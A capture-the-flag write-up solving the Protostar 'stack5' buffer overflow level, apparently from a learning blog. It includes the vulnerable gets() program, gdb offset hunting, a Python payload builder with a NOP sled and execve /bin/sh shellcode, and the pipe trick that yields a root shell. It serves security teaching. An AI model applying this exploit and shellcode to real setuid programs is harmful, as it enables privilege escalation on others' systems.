Problem :lock:

Stack5 is a standard buffer overflow, this time introducing shellcode.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Hint :bulb:

At this point in time, it might be easier to use someone elses shellcode

If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger

remove the int3s once your shellcode is done.

Solution :key:

We will first find where the pushed eip is located (find the offset), let’s use our alphabet string again:

(gdb) r
Starting program: /opt/protostar/bin/stack5 
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()

We see that the offset is still at TTTT just like previous challenges, which means that the buffer size is the same, let’s set a breakpoint just before the program finishes:

(gdb) disas main
Dump of assembler code for function main:
...
0x080483da <main+22>:   ret    
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.

Now we’re going run it and feed it our alphabet string again, after reaching the breakpoint let’s look at how the stack looks first:

0xbffff7ac:     0x54545454      0x55555555      0x56565656      0x57575757
0xbffff7bc:     0x58585858      0x59595959      0x5a5a5a5a      0xb7ffef00
0xbffff7cc:     0x08048232      0x00000001      0xbffff810      0xb7ff0626
0xbffff7dc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffff7ec:     0x00000000      0xbffff828      0xadd1dd8a      0x8786cb9a
0xbffff7fc:     0x00000000      0x00000000      0x00000000      0x00000001

Now we see the address where the pushed eip (the return address) that is filled with 0x54545454 is located, which is at 0xbffff7ac. Now since we can write whatever we want here, we will change the return address to just point to the address after it, for example in the stack above, we will set the return pointer to the address of 0x55555555, which is right next to 0x54545454, since each “column” is 4 bytes, we just need to add 4 bytes to the address of 0x54545454 to find the address of 0x55555555.

After a bit of math with hex numbers, we find the address to be 0xbffff7b0, so let’s write this address in place of our TTTT because this is where we want to jump to, then since we need to do something after we jump there, but we still don’t know what to do, so let’s look at some hints. Referring to the second hint, let’s try and put a \xcc byte, a bit of googling tells that \xcc is a trap to debugger opcode. We will be making a python script to do this:

// payloadbuilder.py
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
addr = "\xb0\xf7\xff\xbf"
code = "\xcc"

print filler+addr+code

Now we write the payload into a file:

python payloadbuilder.py > payload.txt

Now we run it in gdb:

(gdb) r < /home/user/payload.txt 
Starting program: /opt/protostar/bin/stack5 < /home/user/payload.txt

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff7b1 in ?? ()

Well, now we know we successfully jumped to our \xcc, so let’s refer to the 1st hint and put in a shellcode, I found one here, let’s renew out python script then:

// payloadbuilder.py
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
addr = "\xb0\xf7\xff\xbf"
code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

print filler+addr+code

Try and run it in gdb:

(gdb) r
Starting program: /opt/protostar/bin/stack5 < /home/user/payload.txt
Executing new program: /bin/dash

Program exited normally.

Looks promising, but nothing happened, so let’s try it outside gdb:

user@protostar:/opt/protostar/bin$ cat /home/user/payload.txt | ./stack5
Floating point exception

Wow ok I have no idea why that happened, well we can always google! After a bit of that, I found this video, from there we can learn about using \x90 opcode, which is the popular NOP operation.

So now let’s build a “NOP sled” which is just a bunch of NOPs before our shellcode, then we are going to change our overwritten return address (the overwritten eip) to point around the middle of all those NOPs (around the middle of our “NOP sled”).

The reason why we need to make these NOPs if because we don’t know if the memory addresses will be different or not, or will it change when we execute the program outside gdb, so in order to make it still work, these NOPs will act as “bumpers”, where if we managed to hit 1 of them, we will “slide” down the NOPs and eventually reach our shellcode, now let’s modify out python script, we will also be using struct to make adding hex numbers easier:

// payloadbuilder.py
import struct

filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
addr = struct.pack("I", 0xbffff7b0+50)
nopsled = "\x90"*100
code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

print filler+addr+nopsled+code

Don’t forget to write it into a file

python payloadbuilder.py > payload.txt

Now let’s try it in gdb:

(gdb) r < /home/user/payload.txt 
Starting program: /opt/protostar/bin/stack5 < /home/user/payload.txt
Executing new program: /bin/dash

Program exited normally.

We still successfully ran the code, let’s see if we can run it outside gdb:

user@protostar:~$ cat payload.txt | /opt/protostar/bin/stack5
user@protostar:~$ cat payload.txt | /opt/protostar/bin/stack5

I entered the that command in the terminal but nothing happened, tried it again in gdb, it works, I checked the contents of payload.txt and it was right.

After watching the video mentioned before, we know some stuff:

So our problem is, we successfully called the shell but didn’t give it any inputs, so the shell just exits. So now we are going to use the cat trick shown in the video.

The final payload will be

(cat payload.txt; cat) | /opt/protostar/bin/stack5

What would happen is:

  1. cat payload.txt will be piped into /opt/protostar/bin/stack5 spawning our shell
  2. cat (no params) will then start to wait for user input
  3. whenever we input into the stdin of cat (no params), it will be reflected out into stdout
  4. pipe will then redirect this stdout into the stdin of /opt/protostar/bin/stack5 which is now our spawned shell

Because we are running /opt/protostar/bin/stack5 as root, our shell is also root (there’s a long answer regarding the suid bit of the program being set, but we’ll keep it simple for now).

user@protostar:~$ (cat payload.txt; cat) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami 
root

:checkered_flag: